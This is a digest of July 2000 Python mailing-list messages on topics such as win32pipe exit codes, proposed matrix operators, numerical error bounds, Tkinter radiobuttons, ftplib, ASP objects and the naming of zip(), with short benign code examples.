Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com>
Message-ID: <6ZAd5.7258$4p3.51905@news-server.bigpond.net.au>

"David Bolen" <db3l at fitlinxx.com> wrote in message
news:u66q3ovcg.fsf at ctwd0143.fitlinxx.com...
> I've noticed that the latest sources for Python 2.0 in CVS have
> included the win32pipe code from the PythonWin extensions as a
> replacement for the prior os.pipe() routine in Python 1.5.2.  One
> consequence of this is that you no longer receive process exit codes
> on the pipe.close() operation.  Since I need the result codes in my
> work, and work under Windows NT primarily, I figured I'd try to do
> something about it.

Great!

> wondering if this is something that should just be submitted to the
> SourceForge patch manager

Yep.

> While munging around in the source it also appears that there seems to
> be a mismatch between the ordering of file handles returned by the
> higher order popen# routines in the internal posixmodule (the
> win32pipe routines) versus the current popen2.py library module.  I
> think I saw a discussion about this in the python-dev archives, but it
> wasn't clear if the two should be consistent at this point in the
> repository.

Although I recall the discussion, I can't recall the outcome.  Add this
comment to the patch (but not, at this stage, the code to correct it)

Mark.





From mbel44 at dial.pipex.net  Tue Jul 11 06:33:52 2000
From: mbel44 at dial.pipex.net (Toby Dickenson)
Date: Tue, 11 Jul 2000 11:33:52 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
References: <8kcqug$p32$1@newshost.accu.uu.nl> <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <srtlmsojqdta027bds7psigsjjg5pnmrmf@4ax.com>

"Tony J Ibbs (Tibs)" <tony at lsl.co.uk> wrote:

>OK - I spent some of my "spare" time last night reading
>
>http://starship.python.net/crew/amk/python/writing/zodb-zeo.html
>
>and also Jim Fulton's Introduction to the Zope Object Database (referenced
>therefrom, although I found it by other means first), and also with a quick
>look at the ZODB How-To.
>
>Gosh. Damn time machines have been at it again. Ask for something and it
>will have been there.

>Given the Python world, I would believe that it will expand
>to cope with any problems that crop up in a practical manner.

Too true....

>Snags.
>Well, it's obviously a bit of a pain if __getattr__ and __setattr__ are
>unavailable for easy use - although I can't say I've used them for anything
>significant myself, they're useful tools for the back pocket.

As of very recently, __getattr__ and __setattr__ do mix with ZODB
persitent objects :-)



Toby Dickenson
tdickenson at geminidataloggers.com


From hzhu at localhost.localdomain  Mon Jul 17 16:37:59 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 20:37:59 GMT
Subject: Parser project
References: <397361C5.1D401DF2@prescod.net>
Message-ID: <slrn8n6rs3.sf.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 14:43:01 -0500, Paul Prescod <paul at prescod.net> wrote:
>Here is a project for a parser hacker:

This is a good idea, although MatPy could not wait for it to happen, and I
do not foresee much additional syntax being requested. For the current
matrix issue, a limited parser might be easier and more useful.

The only bottleneck here is that the supply of binary infix operators is
very limited, unlike function or method names.  This forces people to write
latter when the former is much cleaner.  Why not write a parser that changes
nothing else but allows additional binary operators?  By definition, it
would put all the special symbols stuck together as operators, like +=, -=,
:=, @+, .*, @*=, etc.

Someone had proposed allowing general forms

a op b

but I would think limiting op to consisting only the symbols that are not in
other syntax constructs (like parenthesis, numbers, names, etc) is
warranted.  This would still give quite a few dozen operators, far more than
needed, imo.

I'm not sure if it can be made as easy as

import NewOperator
NewOperator.define(".+", "__dotadd__")
class A: def __dotadd__(self, other) ...
a=A(); b=A()
a.+b
NewOperator.define("compares", "__cmp__") 
 ------> Exception: "compares" contains characters not allowed in operator.

That would be useful in many domains.


Huaiyu


From no at bo.dy  Wed Jul 19 20:14:15 2000
From: no at bo.dy (nobody)
Date: Wed, 19 Jul 2000 19:14:15 -0500
Subject: iterating over lines in a file
Message-ID: <Uvqd5.21615$DZ4.69024@news.corecomm.net>

assume i want to iterate a block of code over every line in a text file,
and that i don't want to snarf the whole thing into memory for fear
of coredumps or whatever. in perl (and many others) there is a simple,
common idiom:

while (line = <FILE>) { block; }

this doesn't seem to have a simple, direct analog in python. searching
around on the web i found a solution at faqts.com (though this newbie
might like to see it explained, but whatever works):

class Reader:
    def __init__(self, source):
        self.source = source
    def readline(self):
        line = self.source.readline()
        self.line = line
        return line             # may be empty, thus false

file = Reader(open("filename")) # i might have got this worng...?

while (file.readline()):
    line = file.line

now, this seems to me like an awful lot of typing just to get around
the fact that assignments in python do not seem to be expressions
returning the value assigned. since that is thus in several other
languages, and since it gives rise to several common idioms of this
type, i can only assume that there must be some good reason for
breaking this pattern in python; i just can't see what it could
possibly be.

could somebody enlighten me, please? and is there any easier way to
iterate over lines in a file without resorting to ugly break statements?



From ejr at lotus.CS.Berkeley.EDU  Fri Jul 21 14:04:40 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 21 Jul 2000 18:04:40 GMT
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l899g$6f5$1@agate.berkeley.edu> <slrn8nfsh3.rb.hzhu@localhost.localdomain>
Message-ID: <8la3bo$b55$1@agate.berkeley.edu>

And Huaiyu Zhu writes:
 - >Quick summary:  Maybe there needs to be a numerics-sig before any 
 - >of these changes are adopted...
 - 
 - Yes.

So how do we get one started?  Maybe I can finally have an excuse to
dig into Python's code...  And if there is one, I hope we have some
folks who have to deal with platforms that have problematic IEEE
support (Alphas) or none (Vaxen, but not the Cray vector boxes) on it 
for reality checks.

 - Concerning the semantics of these operators, I think we only need a 
 - general agreement, leaving out algorithmic specifications to various 
 - packages.

I'm not so sure.  My experience on the periphery of the BLAST group 
has shown that general agreement has to be backed up with some
guaranteed, TESTABLE error bounds to be reliable.

 - The advantage of Python over Matlab really shows here: Only the 
 - association between .* and __dotmul__ would be built into the 
 - language.  

Moderately recent versions of Matlab have operator overloading.  
This has even been used to make a `parallel' Matlab,
  http://www.ai.mit.edu/projects/ppserver/

If anything, that's made the confusion on what things mean worse.

If you don't associate some reasonable error bounds, some well-meaning
soul will quietly provide a heavily optimized routine that works
well for 99% of the cases, but is wrong on 1%.  Like I said, tracking
the resulting bugs down in real code is a terrible ordeal, if you
even happen to find that 1% before it's deployed.

 - Whichever package you import you'll know its complete specification.

Yes, but what if you didn't import it?  What if you're providing
a routine someone else is using, and they import one with numerically
poor routines?  They then file a bug report, and you blow a _lot_ of
time determining who's problem it is.  This does happen in real life.
And too often the bug report is never resolved, leading to things
like probes crashing into Mars rather than landing gently...

 - The advantage is that this allows natural migration towards better 
 - algorithms without breaking any existing code.  (Cf the migration 
 - from regex to re.)

Ok, I think my examples were misleading.  I don't care about the exact 
implementation.  I care about the error bounds.  In the regex v. re 
case, well, they both had the same error properties: none.  (Ideally.)

 - Imho, the only possible resolution on this is to only provide pure 
 - math definition of these operators in the core language, leaving 
 - numerical specification to the packages that implement them.  

You should not rely on the pure math definition because it assumes 
exactness.

Besides what is the ``pure math definition'' of some of your operators?
Is left division defined as A^(-1) * B, or as the solution of the
linear equations in A against the right-hand sides in B?  The former
would lead me to believe it's very loose; I'd _never_ use it for
numerical work.  You'll notice that Matlab states how they are 
computed (elimination or least-squares).

What I'd shoot for is a statement of exactly what problem is solved 
along with a guaranteed error bound.

 - No one could prove that any of the numerical algorithms used today 
 - would be optimal forever, anyway.

Yes, we can.  The new eigenvalue routine from Dhillon and Parlet _is_ 
theoretically optimal; it's O(n) for n eigenvalues with error bounds 
as small as is possible.  And there's not much to shave off in the
implementation, either.  It might well be the end of the story for
the symmetric case; the damn algorithm just makes so much sense once
it's explained.

The only way to change its optimality would be to attack the 
arithmetic assumptions.  Recent work is leading people to believe 
that there aren't many sensible arithmetics possible.  IEEE754 is 
slightly over-specified, but only to help the user.

On the flip side, matrix inversion is still open.  Kinda neat that 
it's so much harder...  The theoretical minimum is O(n^2) for the 
general case, as you have to fill n^2 entries.  The best ones are 
related to the best matmuls, but I can't remember Winograd's best 
one right now.  Unfortunately, the best ones aren't numerically 
reasonable.  Even Strassen's recursive matmul isn't stable.

And I'm not looking for the best possible error bounds, just currently 
feasible ones.  Those are available, and any better algorithm must
beat them to be considered better.  Also, the error bounds given in
the LAPACK and BLAST docs have been achieved with very fast
implementations, so it's not that much of a burden.

 - Agreed.  Although this is not the topic here, it is really a big 
 - drag. How do Octave handle this on all platforms?

Not well:
> bool
> xisnan (double x)
> {
> #if defined (HAVE_ISNAN)
>   return isnan (x) != 0;
> #else
>   return false;
> #endif
> }

A better test (guess I gotta send in a patch now that I've seen this) 
would be to return !(x==x) instead of false.  That should work on any 
IEEE platform and fall through on any other platform unless the 
compiler does something silly.  Unfortunately, many compilers do.

They probably have a reason why they haven't done that; it's a fairly
standard idiom.  I won't have time to test and ask until next Wednesday.  
Probably is the over-zealous compiler issue.

 - I support the idea that Python should use IEEE whenever possible, 
 - as I don't buy Java's philosophy of using the common minimum of 
 - every platform.

THANK YOU.  ;)

However, I can see the sense in providing a common minimum environment
that's good for many, so long as you do not restrict access to better 
features.  The goal is not to turn everyone into numerical analysts,
but rather to make numerical analysts as unnecessary to daily life as
possible.  That takes guaranteed, testable error bounds.  Even though
most users won't know what they mean, test suites can keep 
implementors honest.

And, imho, the default should always be accuracy before speed.  You
can always compute a wrong answer very quickly.

 - Would a NonIEEEError be possible?  That might help users on those 
 - platforms to invoke their own error handling routines by catching 
 - this exception.

That will take some thought, and these results aren't always errors.
Sometimes they carry important information.  There probably needs to
be a full FP environment system, vaguely like C99's or Common Lisp's.

 - Unlike matlab that is not object oriented, [...]

It has been for the past few years.  The competition is not standing 
still.

 - For really precision or efficiency critical applications, I think 
 - nothing beats special subclass where the user can fine tune the 
 - definition of every methods.

True, but I feel it's important to have a standard minimum level
of expectation in terms of definitions and error bounds.  People 
who do not meet that for various reasons need to say that loudly,
preferably by using a slightly different interface.

Keep in mind that I'm not against someone using faster, less accurate
routines when they absolutely know they can.  That can be terribly
necessary and useful in some areas (signal processing comes to mind).  
I'm just for ensuring that the vast majority of people never need to 
think about it.  

Matlab's popular because people don't need to think about many of the 
lower-level details.  Unfortunately, the lower-level details frequenty 
come up an bite people.  (Ok, I don't have any numbers to back up 
`frequently', and I only hear of the cases where things fail, but 
still...)  That and the huge number of supporting packages.

Jason


From none at none.com  Sun Jul 30 03:11:01 2000
From: none at none.com (J P)
Date: Sun, 30 Jul 2000 07:11:01 GMT
Subject: ftp and lowercase?
References: <39832544.2E05FCFB@online.no>
Message-ID: <9yQg5.21128$5N1.752914@newsread1.prod.itd.earthlink.net>

Have you tried sendcmd ("ls") ? I think that would work for you.

"Stein Surland" <ssurland at online.no> wrote in message
news:39832544.2E05FCFB at online.no...
> I have made a small script using ftplib to retrieve a list from a ftp
> directory. It worked OK using ftp.retrlines('LIST', lines.append).
> However using it on another ftp host gives me this message:
>
>     ftp.retrlines('ls', lines.append)
>   File "/usr/lib/python1.5/ftplib.py", line 345, in retrlines
>     conn = self.transfercmd(cmd)
>   File "/usr/lib/python1.5/ftplib.py", line 285, in transfercmd
>     return self.ntransfercmd(cmd)[0]
>   File "/usr/lib/python1.5/ftplib.py", line 273, in ntransfercmd
>     resp = self.sendcmd(cmd)
>   File "/usr/lib/python1.5/ftplib.py", line 228, in sendcmd
>     return self.getresp()
>   File "/usr/lib/python1.5/ftplib.py", line 201, in getresp
>     raise error_perm, resp
> ftplib.error_perm: 500 'LS': command not understood.
>
> The host did not take the LIST command so I changed it to LS and ls. It
> seems that the ftplib sends the list command in uppercase. How to change
> this to lowercase? I have ftp'ed to the host and it does not recognize
> LIST or LS only ls.
>
> Stein
>
> --
>
> Stein Surland   Trying is the first step towards failure
> ssurland at online.no - Homer Simpson
> http://home.online.no/~ssurland/
>




From vartan at leland.stanford.edu  Wed Jul 19 16:25:30 2000
From: vartan at leland.stanford.edu (Ryan Vartanian)
Date: Wed, 19 Jul 2000 13:25:30 -0700
Subject: Tkinter Problem with Radiobuttons
References: <3974E55A.FED978BD@leland.stanford.edu> <8l3lac$68q$1@nnrp1.deja.com>
Message-ID: <39760EBA.E4FDEECC@leland.stanford.edu>

Richard-

Thx a lot, this has fixed my problem, and made IntVar and the Var types
in Tkinter a lot clearer.

Ryan


richard_chamberlain at my-deja.com wrote:
> 
> Hi Ryan,
> 
> You are getting the value of self.selection as if it were a variable
> rather than a class. To get the current value of self.selection use
> self.selection.get(). An example:
> 
> from Tkinter import *
> root=Tk()
> 
> selection=IntVar()
> nativeButton=Radiobutton(root,text="Native: CFD Datasets produced on
> this OS",
>                          variable=selection,value=0)
> bigEButton=Radiobutton(root,text="Big Endian: Solaris,SGI, Motorola",
>                        variable=selection, value=1)
> littleEButton=Radiobutton(root,text="Little Endian:Intel, DEC",
>                           variable=selection,value=2)
> def Ok():
>     print 'This is selection.get():',selection.get()
>     print 'This is just selection:',selection
> okButton=Button(root, text="Ok", command=Ok)
> nativeButton.pack(anchor=NW,side=TOP)
> bigEButton.pack(anchor=NW,side=TOP)
> littleEButton.pack(anchor=NW,side=TOP)
> okButton.pack(anchor=NE,side=TOP)
> 
> root.mainloop()
> 
> Notice the two print statements in Ok(), one returns the PY_VAR which
> is how IntVar represents it self.
> 
> Richard
> 
> In article <3974E55A.FED978BD at leland.stanford.edu>,
>   Ryan Vartanian <vartan at leland.stanford.edu> wrote:
> >
> > I am trying to use radiobuttons to select a value for a program, and I
> > am haveing trouble with the IntVar() and StringVar() classes.
> >
> > My code looks like this:
> >
> > self.selection=IntVar()
> > self.nativeButton=Radiobutton(self.byteWindow, text="Native: CFD
> > Datasets produced on this OS", variable=self.selection, value=0)
> >
> > self.bigEButton=Radiobutton(self.byteWindow, text="Big Endian:
> Solaris,
> > SGI, Motorola", variable=self.selection, value=1)
> >
> > self.littleEButton=Radiobutton(self.byteWindow, text="Little Endian:
> > Intel, DEC", variable=self.selection, value=2)
> >
> > self.okButton=Button(self.byteWindow, text="Ok", command=self.Ok)
> > self.cancelButton=Button(self.byteWindow, text="Cancel",
> > command=self.Cancel)
> >
> > All of this is packed in window, and things when I select a given
> > radiobutton, the value of the variable is not 0, 1, or 2, but PY_VAR0,
> > PY_VAR1, or PY_VAR2.  The documentation for IntVar() is sparse at
> best.
> > Any suggestions on what is going on here?
> >
> > Ryan Vartanian
> >
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From alex at magenta.com  Thu Jul  6 03:52:44 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 6 Jul 2000 09:52:44 +0200
Subject: Accessing ASP-IIS objects in modules
References: <8k0egu$ujn$1@nnrp1.deja.com>
Message-ID: <8k1e340l3f@news2.newsguy.com>

<kellyk at my-deja.com> wrote in message news:8k0egu$ujn$1 at nnrp1.deja.com...
> I am using Python in ASP under Microsoft IIS. I can use the IIS objects
> like Server, Request and Response easily in my ASP script but cannot
> access them from a module.
>
> For example I want to use Response.Write("blah") from within a module
> (called from an ASP script) but Reponse is not a known object from
> there.
>
> Any ideas?

Passing these as arguments to the module's functions that you're
calling seems cleanest to me.  One alternative might be to add
references to them to the __dict__ of the module you want to use
them from, a la

    themodule.__dict__['Response']=Response

from the ASP script, but that doesn't seem very clear/clean... or
maybe something like:

    themodule.Response = Response

is better.  Similarly operating with the __builtin__ module might
be worst from the POV of clarity and cleanliness, but, if you have
LOTS of modules that MUST directly access such global objects...
(warning: haven't tried any of these -- check if they work!-).


Alex





From MarkH at ActiveState.com  Tue Jul 25 20:18:08 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Wed, 26 Jul 2000 00:18:08 GMT
Subject: Memory management
References: <8lkdh5$qpm$1@news.rchland.ibm.com> <m3zon6asl3.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <47qf5.12035$4p3.93361@news-server.bigpond.net.au>

"Michael Hudson" <mwh21 at cam.ac.uk> wrote in message
news:m3zon6asl3.fsf at atrus.jesus.cam.ac.uk...

> I'm guessing that you have reference cycles; these can be fun to find,
> and even more fun to eliminate.  However the code you posted didn't
> create any cycles, so either post some more, or go and stare at your
> code some (ask Gordon about the "hypnotising bricks" approach...).

It is well worth tracking down Tim Peters' "Cyclops" module - has found
many a reference leak for me.

Cyclops.py doesnt appear to be in the Python CVS tree - I think it should!

Mark.





From falk.lehmann at gmx.net  Fri Jul 21 17:25:20 2000
From: falk.lehmann at gmx.net (falk.lehmann at gmx.net)
Date: Fri, 21 Jul 2000 21:25:20 GMT
Subject: compiling Python 1.6a2 using VC++ 6.0
References: <8l0n61$vlj$1@nnrp1.deja.com> <eu58ns42s8gvj0fca7pf6828h30hitibev@4ax.com>
Message-ID: <8laf3d$15m$1@nnrp1.deja.com>

> The problem seems to be HASHINFO, the rest is most likely errors
> depending on this.
>
> do a search in file after HASHINFO and you will probably find it in
> some include file. Then include this and it should work...

I already did that. but didn't help. HASHINFO is defined in db_185.h. if
I include this file too, than there are some types declared in a
different way.
If just include this file instead of db.h, some things like
"@u_int8_decl@" are not defined and the preprocessor/compiler complains
about the "@".

Any idea what to try next?

Falk


Sent via Deja.com http://www.deja.com/
Before you buy.


From spam at spam.com  Sun Jul 30 19:55:02 2000
From: spam at spam.com (Penfold)
Date: Mon, 31 Jul 2000 00:55:02 +0100
Subject: Windows DDE Server via Python
References: <V5Qg5.89374$dF.3137888@news1.rdc1.il.home.com>
Message-ID: <Fd3h5.3600$_8.423190@nnrp3.clara.net>

This is fairly easy using the dde module that comes with Mark Hammonds ever
invaluable win32all distribution.
[http://starship.python.net/crew/mhammond/].

Once you've grabbed it look at files in the win32/demos/dde subdirectory of
your Python directory.  You'll see connecting
as a DDE client is a piece of cake.

I'm not sure how warm/hot DDE links can be implementing using it but static
requests and Execs are no problem.

Des.
[cosi@*REMOVESPAM*operamail.com]

d. savitsky <dsavitsk at e-coli.net> wrote in message
news:V5Qg5.89374$dF.3137888 at news1.rdc1.il.home.com...
> has anybody ever connected to a Windows DDE Server via Python? is it
> something i should do or not?
>
> i have a .dll that does it for me and i just use windll (god bless Sam
> Rushing), but the dll is written badly (i.e. it crashes often from python,
> vb, c++, anything really, and doesn't give much in the way of error
> messages) so i thought i might skip the middle man - although it could be
> the server itself that sucks ...
>
> thanks for any suggestions,
>
> doug
>
>




From tim at pnorthover.freeserve.co.uk  Fri Jul 21 13:35:05 2000
From: tim at pnorthover.freeserve.co.uk (Tim Northover)
Date: 21 Jul 2000 18:35:05 +0100
Subject: Railroad generator
Message-ID: <m2bszrfkty.fsf@pnorthover.freeserve.co.uk>

I'm currently trying to understand the python source (I've cracked the
parser generator I think), but in the Grammar file it mentions a
railroad program. I've found the railroad.ps file on www.python.org,
but it says it is for an old version and I think this would confuse me
when I get things working.

I couldn't find any mention of this program on the internet so does
anyone know where I could find either it or an up to date .ps file?

Thanks.

Tim N.


From johngrayson at home.com  Sat Jul 15 09:54:28 2000
From: johngrayson at home.com (John Grayson)
Date: Sat, 15 Jul 2000 13:54:28 GMT
Subject: help with tkinter coding
References: <396FDD54.E2DD84FF@structurex.net>
Message-ID: <8kpqee$7jn$1@nnrp1.deja.com>

In article <396FDD54.E2DD84FF at structurex.net>,
  walter hanagriff <walter111 at structurex.net> wrote:
> i got this file from a person on the list not too long ago, thanks for
> this, it is better then what i was thinking of before
> just 2 questions:
>   first, how can i make the frame that is to the right of the first
one
> appear on the bottom of it instead
>   second, how do i write more then just a label into the second frame,
> in the second frame is going to be a new set of options depending on
> which option was picked in the first frame, so how do i do that?
> this code works as a standalone
>
> -- File test.py
> #!/usr/bin/python
> from Tkinter import *
>
> class Main:
>     def __init__(self, root):
>         # The top label.
>         text = 'this program figures the area, perimeter, and power of
> n'
>         text = text + '\n' + '_'*len(text)
>         Label(root, text=text).pack(side=TOP, fill=X)
>
>         # The 'main' panel  to command the option frame to show.
>         self.var = StringVar()
>         self.var.set('power')
>         main = Frame(root, bd=2, relief=SUNKEN)
>         Radiobutton(main, text="1 = Find the power of a number",
> value='power',
>                     command=self.update_frame,
> variable=self.var).pack(anchor=W)
>         Radiobutton(main, text="2 = Find the area of a shape",
> value='area',
>                     command=self.update_frame,
> variable=self.var).pack(anchor=W)
>         Radiobutton(main, text="3 = Find the perimeter of a shape",
> value='perim',
>                     command=self.update_frame,
> variable=self.var).pack(anchor=W)
>         Button(main, text="Close", command=root.destroy).pack(padx=10,
> pady=10)
>         main.pack(side=LEFT, padx=5, pady=5)
>
>         # Create 3 frames, one for each option.
>         self.frames = { 'power': Frame(root),
>                         'area':  Frame(root),
>                         'perim': Frame(root) }
>
>         # Populate the option frames at your convenience.
>         prefix = 'this frame is where you put information to get '
>         list = (('power', 'power of n'),
>                 ('area',  'the area of a shape'),
>                 ('perim', 'the perimeter of a shape'))
>         for (frame_name, text) in list:
>             frame = self.frames[frame_name]
>             text = prefix + text
>             text = text + '\n' + '_'*len(text)
>             Label(frame, text=text).pack(expand=YES, fill=BOTH)
>
>         # We start with one frame.
>         self.update_frame()
>
>     def update_frame(self):
>         # Unpack every option frame.
>         for n in self.frames.keys(): self.frames[n].pack_forget()
>         # Pack the current option frame.
>         self.frames[self.var.get()].pack(side=RIGHT)
>
> if __name__== '__main__':
>     root = Tk()
>     root.title('test')
>     start = Main(root)
>     root.mainloop()
> -- End of file
>
> I throw up your class Func and swept a little your code. Hope this
helps
> ?
>
> Regards,
> Jerome
>
>

It just happens that one of the sample chapters for Python
and Tkinter Programming is on geometry managers. It might
help you understand how the Packer works...

    http://www.manning.com/Grayson/chapt05.pdf


   John Grayson


Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Wed Jul 19 18:23:38 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 19 Jul 2000 22:23:38 GMT
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3975EF36.1651C9CB@roguewave.com> <8l52re$tbe$1@nntp9.atl.mindspring.net> <39763FF4.2CA5BF75@schneider-kamp.de>
Message-ID: <8l59pa$6ff$1@slb1.atl.mindspring.net>

In article <39763FF4.2CA5BF75 at schneider-kamp.de>,
Peter Schneider-Kamp  <peter at schneider-kamp.de> wrote:
>Aahz Maruch wrote:
>> 
>> Precisely.  "Zip" has come to mean compression, and I think *that's* a
>
>I hate to warm up the whole thread from python-dev, but I'll post
>a quote from /F:

Some of these make sense, others are absurd.  And while I'm sure /F
meant this as a joke, I feel a need to respond seriously:

>/F:
>> is this the end of Python development?
>> 
>> just imagine what this crowd would have done if guido had asked
>> you *before* he added things like:
>> 
>>     dir ("hey, dir should give you a list of filenames")

Directories existed before DOS.  Not relevant.

>>     del ("removes files, right?")

Ditto.

>>     compile ("but people will think that it generates
>>     machine code")

A point, but mostly <shrug>

>>     global ("but it's not truly global. how about regional
>>     or domestic?")

<snort>  Amusing.

>>     hash ("that's a data type, right?") ("or perhaps something
>>     from the The Amsterdam Aloha Seed Bank?")

Again, "hash" has long since had a relevant meaning for computers.

>>     hex ("now wait.  it's not clear from the name if it con-
>>     verts a hex string to an integer, or the other way around.
>>     oh, it's the latter.  sorry, but that will confuse perl pro-
>>     grammers")

IIRC, at that point in time, Perl was not a standard other languages
were being judged against.

>Come on, other languages can live with zip(), too.

I think I was insufficiently clear: in addition to "zip" having a known
meaning, it does not have any connotation in computer terms of combining
data that I've ever seen.  Yeah, if you want to call it "zipper", I
might almost see your point.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From tim_one at email.msn.com  Fri Jul 28 01:24:08 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 01:24:08 -0400
Subject: Perl is worse!
In-Reply-To: <slrn8o1do5.rt1.grey@teleute.rpglink.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com>

[Steve Lamb]
> ...
> Because 1 + "foo" doesn't work.  Sure, in perl you get 1, but you
> don't get blown out of the water because of it.

Steve, in case it isn't clear yet, Python programmers *want* to be blown out
of the water when doing something as senseless as

    1 + "foo"

You don't.  I'm sure you'll agree that's a fair summary of the rest of the
18Kb of debate too <wink>.

[not,a,list]-ly y'rs  - tim





From robin at jessikat.demon.co.uk  Sun Jul  2 10:25:21 2000
From: robin at jessikat.demon.co.uk (Robin Becker)
Date: Sun, 2 Jul 2000 15:25:21 +0100
Subject: tkinter hanging
Message-ID: <WRe0zXARD1X5EwXY@jessikat.demon.co.uk>

I'm having problems with zombie processes under win32 with a tkinter
linked against Tk 8.3. I seem to be exiting the mainloop ok and have
destroyed all subwindows and then the gui object itself, but
occasionally I still generate a zombie. I have checked that my after's
are cancelled and debug prints seem to show me exiting the script.

has anyone else had these kinds of problems? heeelllppp :( 
-- 
Robin Becker


From kaevee at my-deja.com  Tue Jul 18 08:35:27 2000
From: kaevee at my-deja.com (kaevee at my-deja.com)
Date: Tue, 18 Jul 2000 12:35:27 GMT
Subject: grouping in regular expressions.
Message-ID: <8l1iue$j3e$1@nnrp1.deja.com>

I am finding it difficult to match the ip address in the
following line using re module.

"       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0"

here is the expression I used.

re.compile('\s+inet addr:(\d+\.\d+\.\d+\.\d+)\s+.*')

I am not able to make out where i am making a mistake.

Tons of thanks in advance,

Regards,

kaevee


Sent via Deja.com http://www.deja.com/
Before you buy.


From gmcm at hypernet.com  Sat Jul 22 11:30:12 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 22 Jul 2000 15:30:12 GMT
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net>
Message-ID: <8F7974AF5gmcmhypernetcom@199.171.54.194>

Cameron Laird wrote: 

>Michael Hudson wrote:

>>5 gets you 7 that you have added a 
>>
>>from os import *
>>
>>to your script.
>>
>>Don't do that.

>I'd be willing to raise the odds on that bet.
>
>You're also right that
>  from os import *
>is, of course, universally deprecated.
>
>What surprises me, though, is that no one ever
>mentions the possibility of writing
>  inp = __builtin__.open("c:/autoexec.bat",'r')

Because __builtin__ is a module and has to be imported. And someone who 
says 

from os import *

would also say

from __buitin__ import *

And we'd be back where we started.

-Gordon


From jurberg at my-deja.com  Thu Jul 20 13:10:36 2000
From: jurberg at my-deja.com (John Urberg)
Date: Thu, 20 Jul 2000 17:10:36 GMT
Subject: Newbies trying to do a build script
References: <8l1o61$n45$1@nnrp1.deja.com> <k56d5.2080$mL5.81696@news-west.usenetserver.com> <PN7d5.3148$mL5.112650@news-west.usenetserver.com>
Message-ID: <8l7bq0$tuh$1@nnrp1.deja.com>

In article <PN7d5.3148$mL5.112650 at news-west.usenetserver.com>,
  Matthew Cline <matt at nightrealms.com> wrote:
> In article <k56d5.2080$mL5.81696 at news-west.usenetserver.com>, Matthew
> Cline <matt at nightrealms.com> wrote:
>
> > In article <8l1o61$n45$1 at nnrp1.deja.com>, John Urberg
> > <jurberg at my-deja.com> wrote:
> >
> >> Hi all,
> >>
> >> I am working on a project with a couple of other developers and we
> >> are all new to scripting languages.  We need to create a build
> >> script to build an application that consist of C++ and Java code.
> >> We have some Perl resources in another group, but I would prefer
> >> doing it in Python.  I was hoping someone here could point me to
> >> some examples of build scripts in Python to get us going quickly.
> >
> > So you're doing something that autoconf, automake, configure and so
> > forth can't handle?
>
> Urgh, that probably wasn't too useful.  Sorry.
>
> What exactly do you need the script to do?  If you want to compile
> files in sub-directories, sub-sub-directories, and so forth, the
> standard UNIX make already takes care of that.  If you want to apply
> scripts or programs to certain files, then you can have make call
> those scripts.  If you want to figure out the configuration of your
> computer, like where the JVM is, what version it is, and so on, or to
> automatically figure out what "-D" flags you should give to the
> compiler, then autoconf and automake will take care of things.
>
> If, after the compile is done, you want to move files around to create
> the file tree you'll use for distribution, make can probably do that
> as well.
>

I was looking for an excuse to use Python on my project.  Looks like
I'll have to figure out nmake.

Regards,
John Urberg


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at localhost.localdomain  Thu Jul 20 13:57:01 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 17:57:01 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be> <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk>
Message-ID: <slrn8nefig.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 17:06:03 +0100, Robin Becker
<robin at jessikat.fsnet.co.uk> wrote: 
>
>the kronecker product is also called the matrix direct product
>
>
>A ox B = [a11 B a12 B]
>         [a12 B a22 B]
>
>seems to me to be like a tensor outer product; but I ain't no
>mathematician ;)

In matlab/octave, this is called kron(A,B).  I don't think it deserves an
infix operators, because it is just a special case of matrix multiplication.
You can define a sparse matrix Kron(A) so that

kron(A,B) == Kron(A)*B

For such specializations it is best to explicitly spell out the names of
operators.  This is also true of unitary functions.  + - have symbols but
sin, cos, ... do not.

>the lie product (or bracket) has applications in sensitivity analysis
>and other more exotic stuff in differential geometry
>
>[A,B] = AB - BA

def lie(a,b): return a*b-b*a

On the other hand, the difference between elementwise and matrix operators
are much more fundamental.  They result from the different views of vectors,
either as a simple collection of numbers, or as a point in a linear space
that happens to be represent by an array of numbers.

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From peter at schneider-kamp.de  Thu Jul 13 10:49:04 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
